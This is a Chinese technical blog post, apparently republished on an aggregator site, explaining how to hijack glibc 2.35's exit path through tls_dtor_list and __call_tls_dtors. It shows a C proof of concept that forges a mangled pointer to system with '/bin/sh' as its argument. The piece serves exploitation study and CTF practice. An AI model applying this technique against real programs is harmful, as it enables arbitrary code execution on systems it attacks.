glibc2.35-通过tls_dtor_list劫持exit执行流程

news2025/1/6 7:03:00

前言

glibc2.35删除了malloc_hook、free_hook以及realloc_hook,通过劫持这三个hook函数执行system已经不可行了。

传统堆漏洞利用是利用任意地址写改上上述几个hook从而执行system,在移除之后则需要找到同样只需要修改某个地址值并且能够造成程序流劫持的效果。

__call_tls_dtors

在程序返回时会通过exit函数,exit函数会经历以下调用过程

exit
->
__run_exit_handlers
->
__call_tls_dtors

__call_tls_dtors函数中则存在着可以进行劫持的地址,__call_tls_dtors函数的执行如下:

  • • 判断tls_dtor_list为空

  • • 不为空则将tls_dtor_list赋值给cur

  • • 取出函数指针cur->func

  • • 通过PTR_DEMANGLE宏解密指针值

  • • 执行函数指针

void
__call_tls_dtors (void)
{
  while (tls_dtor_list)
    {
      struct dtor_list *cur = tls_dtor_list;
      dtor_func func = cur->func;
#ifdef PTR_DEMANGLE
      PTR_DEMANGLE (func);
#endif

      tls_dtor_list = tls_dtor_list->next;
      func (cur->obj);
      atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);
      free (cur);
    }
}

通过上述流程可知,若能够劫持tls_dtor_list,则可以将cur->func指向的位置修改为system函数。具体取出tls_dtor_list的汇编语言如下

图片

 

  • • 首先取出tls_dtor_list的下标值,即rbx寄存器的值为0xffffffffffffffa8,转换为十进制为-88

  • • 而该下标是用fs进行寻址的,然后取出tls_dtor_list的值判断是否为空

图片

那么假设已经存在任意地址写的漏洞,并且将tls_dtor_list修改为不是空值,看看后续会进入哪些校验流程

图片

首先遇到第一个问题,在后续的流程中需要将tls_dtor_list的内容作为指针值进行索引,因此我们不能够直接将system函数的地址写入tls_dtor_list,而是需要将指向system函数的指针写入。即在堆题中,我们新创建一个堆,并在堆内容写入system函数的地址,然后将堆地址填充到tls_dtor_list

图片

根据上述的方法,我们成功进入后续的流程

图片

但是在执行函数执行时,会遇到另一个问题,最后的指针值被修改为乱七八糟的值了。

图片

这是因为上述的宏定义PTR_DEMANGLE,需要将函数指针进入一个解密的流程,因此在传递指针值时,需要先传递一个加密后的指针值。解密的流程如下,

先将指针循环右移0x11,然后与fs:[0x30]进行异或。循环右移比较好解决,先将指针循环左移即可。但是这个异或值则需要获得fs:[0x30]的值。

   0x7ffff7c45d88 <__call_tls_dtors+40>    ror    rax, 0x11
   0x7ffff7c45d8c <__call_tls_dtors+44>    xor    rax, qword ptr fs:[0x30]

也可以看到这个值是一个八字节的随机值,因此通过爆破获得的可能性不大。

图片

那么该攻击方法需要的一个要求就是能够获得该随机值或者能够篡改该值。需要注意点是指针值是先循环右移在异或,因此在加密指针时需要先异或在循环左移。那么解决上述问题之后就能够正确调用地址了,此时就应该考虑该函数指针需要如何传参。可以看到下图,rdi寄存器是通过我们传入的指针值作为基地址进行寻址的,只需要在偏移加8的位置填充/bin/sh的地址值即可。

图片

POC

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

unsigned long long rotate_left(unsigned long long value, int left)
{
    return (value << left) | (value >> (sizeof(unsigned long long) * 8 - left));
}


int main() {
    unsigned long long fs_base;
    unsigned long long index = 0xffffffffffffffa8;
    unsigned long long tls_dtor_list_addr;
    unsigned long long random_number;
    void *system_ptr = (void *)&system;
    printf("system:%p\n",system_ptr);
    // 使用汇编嵌入获取FS寄存器的值
    asm("mov %%fs:0, %0" : "=r" (fs_base));
    printf("Value in FS register: 0x%llx\n", fs_base);
    tls_dtor_list_addr = fs_base - 88;
    random_number = *(unsigned long long *)(fs_base + 0x30);
    char *str_bin_sh = malloc(0x20);
    strcpy(str_bin_sh,"/bin/sh");
    void *ptr = malloc(0x20);
    *(unsigned long long *)ptr = rotate_left((unsigned long long)system_ptr ^ random_number,0x11);
    *(unsigned long long *)(ptr + 8)  = str_bin_sh;
    *(unsigned long long *)tls_dtor_list_addr = ptr;
    return 0;
}

总结

简单总结一下通过tls_dtor_list劫持exit执行流程的条件

  • • 存在任意地址写的漏洞利用

  • • 能够篡改或泄露fs_base + 0x30的值

  • • 程序会通过exit函数结束程序,若是通过_exit则不

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/979258.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

OpenCV的绘图函数,实力绘画篮球场

关键函数&#xff1a;cv2.line()&#xff0c;cv2.circle()&#xff0c;cv2.rectangle()&#xff0c;cv2.ellipse()&#xff0c;cv2.putText() 等。 绘制几何形状 import cv2 as cv import numpy as npcv.rectangle()&#xff0c;cv.circle()&#xff0c;cv.line()&#xff0c…

安全远控如何设置?揭秘ToDesk、TeamViewer 、向日葵安全远程防御大招

写在前面一、远程控制&#xff1a;安全性不可忽略二、远控软件安全设置实测◉ ToDesk◉ TeamViewer◉ 向日葵 三、远控安全的亮点功能四、个人总结与建议 写在前面 说到远程办公&#xff0c;相信大家都不陌生。远程工作是员工在家中或者其他非办公场所上班的一种工作模式&…

了解被测系统(二)接入链路--包括域名解析和Nginx代理

目录 一、接入链路示例 二、域名解析过程 1、相关概念 1.1、域的结构 1.2、DNS是什么&#xff1f; 1.3、DNS根域名服务器 1.4、顶级域名服务器 1.5、权威域名服务器 2、域名解析过程 2.1、检查Hosts文件 2.2、检查本地DNS缓存 2.3、DNS解析--本地DNS服务器 2.4、D…

基于yolov5模型的目标检测蒸馏(LD+KD)

文章目录 前言一、Distillation理解1、Knowlege distillation2、Feature distillation3、Location distillation4、其它蒸馏 二、yolov5蒸馏模型构建1、构建teacher预测模型2、构建蒸馏loss3、蒸馏模型代码图示模型初始化模型蒸馏 三、蒸馏模型实验1、工程数据测试2、voc2012开…

SpringMVC:从入门到精通,7篇系列篇带你全面掌握--二.SpringMVC常用注解及参数传递

&#x1f973;&#x1f973;Welcome Huihuis Code World ! !&#x1f973;&#x1f973; 接下来看看由辉辉所写的关于SpringMVC的相关操作吧 目录 &#x1f973;&#x1f973;Welcome Huihuis Code World ! !&#x1f973;&#x1f973; 一.关于日志的了解 1.使用日志的好处…

ESD门禁管理系统的组成和主要功能

ESD门禁管理系统是一种用于实现企业或组织对出入口进行管理和控制的系统。ESD代表“电子门禁系统”&#xff0c;它利用先进的技术手段来确保只有授权人员可以进入特定区域&#xff0c;从而提高管理效率。 ESD门禁管理系统通常包括以下组件&#xff1a; 1. 门禁读卡器&#xf…

论文阅读《Robust Monocular Depth Estimation under Challenging Conditions》

论文地址&#xff1a;https://arxiv.org/pdf/2308.09711.pdf 源码地址&#xff1a;https://github.com/md4all/md4all 概述 现有SOTA的单目估计方法在理想的环境下能得到满意的结果&#xff0c;而在一些极端光照与天气的情况下往往会失效。针对模型在极端条件下的表现不佳问题&…

拓展世界 | “秀才”被封,千万粉丝一朝空,数字时代来临,大众情感寄托是否有新的出口?

近日&#xff0c;短视频千万粉丝博主“秀才”因违反平台相关规定被封&#xff0c;引起了不少网友的关注&#xff0c;网络上大家戏称他为“中年妇女收割机”&#xff0c;这次的封杀&#xff0c;网友开玩笑道“这得有多少阿姨伤心欲绝”。 在当今数字时代&#xff0c;网红主播已…

计算机领域期刊会议级别分类

文章目录 一、查询期刊1.1、知网1.2、letpub1.3、ccf 二、CCF2.1、CCF和SCI的区别2.2、国际学术期刊2.3、国内期刊2.4、国际会议2.5、国内会议 三、期刊会议总结 一、查询期刊 1.1、知网 查询中⽂期刊⼀般用知⽹&#xff0c;输入你想了解的期刊然后搜索&#xff0c;可以查看期…

Ab3d.DXEngine 6.0 Crack 2023

Ab3d.DXEngine 不是另一个游戏引擎&#xff08;如Unity&#xff09;&#xff0c;它强迫您使用其游戏编辑器、其架构&#xff0c;并且需要许多技巧和窍门才能在标准 .Net 应用程序中使用。Ab3d.DXEngine 是一个新的渲染引擎&#xff0c;它是从头开始构建的&#xff0c;旨在用于标…

计算机视觉的应用13-基于SSD模型的城市道路积水识别的应用项目

大家好&#xff0c;我是微学AI&#xff0c;今天给大家介绍一下计算机视觉的应用13-基于SSD模型的城市道路积水识别的应用项目。今年第11号台风“海葵”后部云团的影响&#xff0c;福州地区的降雨量突破了历史极值&#xff0c;多出地方存在严重的积水。城市道路积水是造成交通拥…

关于ThreadPoolTaskExecutor线程池的配置

说明&#xff1a; 1、线程池分类、其他 1.1、分类 IO密集型 和 CPU密集型 任务的特点不同&#xff0c;因此针对不同类型的任务&#xff0c;选择不同类型的线程池可以获得更好的性能表现。 1.1. IO密集型任务 ​ IO密集型任务的特点是需要频繁读写磁盘、网络或者其他IO资源&a…

Netty—Channel

文章目录 一、Channel 是什么&#xff1f;&#x1f914;️二、 Channel 的继承体系&#x1f46a;三、Channel 的初始化过程 &#x1f50d;首先&#xff0c;channel() 指定 ChannelFactory 类型其次&#xff0c;Channel 实例化 一、Channel 是什么&#xff1f;&#x1f914;️ …

初识Java 5-1 实现隐藏

目录 库单元&#xff1a;package 代码组织 独一无二的包名 Java访问权限修饰符 包访问权限 接口访问权限&#xff08;public&#xff09; 不可访问&#xff08;private&#xff09; 继承访问权限&#xff08;protected&#xff09; 包访问权限与公共构造器 接口与实现…

基于Java+SpringBoot+Vue前后端分离医疗挂号管理系统设计和实现

博主介绍&#xff1a;✌全网粉丝30W,csdn特邀作者、博客专家、CSDN新星计划导师、Java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精彩专…

pdf怎么转cad?几个简单方法分享给你

pdf怎么转cad&#xff1f;PDF文件转换为CAD文件是一项非常重要的任务&#xff0c;特别是对于那些需要进行工程、建筑和设计的专业人士来说。在过去&#xff0c;这项任务可能需要耗费大量时间和精力&#xff0c;但现在&#xff0c;随着技术的不断发展&#xff0c;已经有很多工具…

华为云云服务器评测| 之性能测试

文章目录 前言软件安装扩展知识 收集服务器负载信息指令解析开始压测后台运行 stress 运行 sysbench 测试网络带宽总结 测试磁盘 I/O 性能I/O 性能评估总结 前言 在当今数字化时代&#xff0c;云计算作为一种高效、灵活的计算方式&#xff0c;正日益受到企业和个人用户的广泛关…

如何远程访问Linux MeterSphere一站式开源持续测试平台

文章目录 前言1. 安装MeterSphere2. 本地访问MeterSphere3. 安装 cpolar内网穿透软件4. 配置MeterSphere公网访问地址5. 公网远程访问MeterSphere6. 固定MeterSphere公网地址 前言 MeterSphere 是一站式开源持续测试平台, 涵盖测试跟踪、接口测试、UI 测试和性能测试等功能&am…

基于Java+SpringBoot+Vue前后端分离校园商铺管理系统设计和实现

博主介绍&#xff1a;✌全网粉丝30W,csdn特邀作者、博客专家、CSDN新星计划导师、Java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精彩专…

LeetCode 15 三数之和

题目链接 力扣&#xff08;LeetCode&#xff09;官网 - 全球极客挚爱的技术成长平台 题目解析 // 1. 排序双指针 // 2. 固定一个值nums[i] 然后去剩下的位置去找 两数之和符合nums[j]nums[k]是否等于-nums[i] // 3. 细节问题&#xff1a;由于题目中是不可以包含重复的三元组的…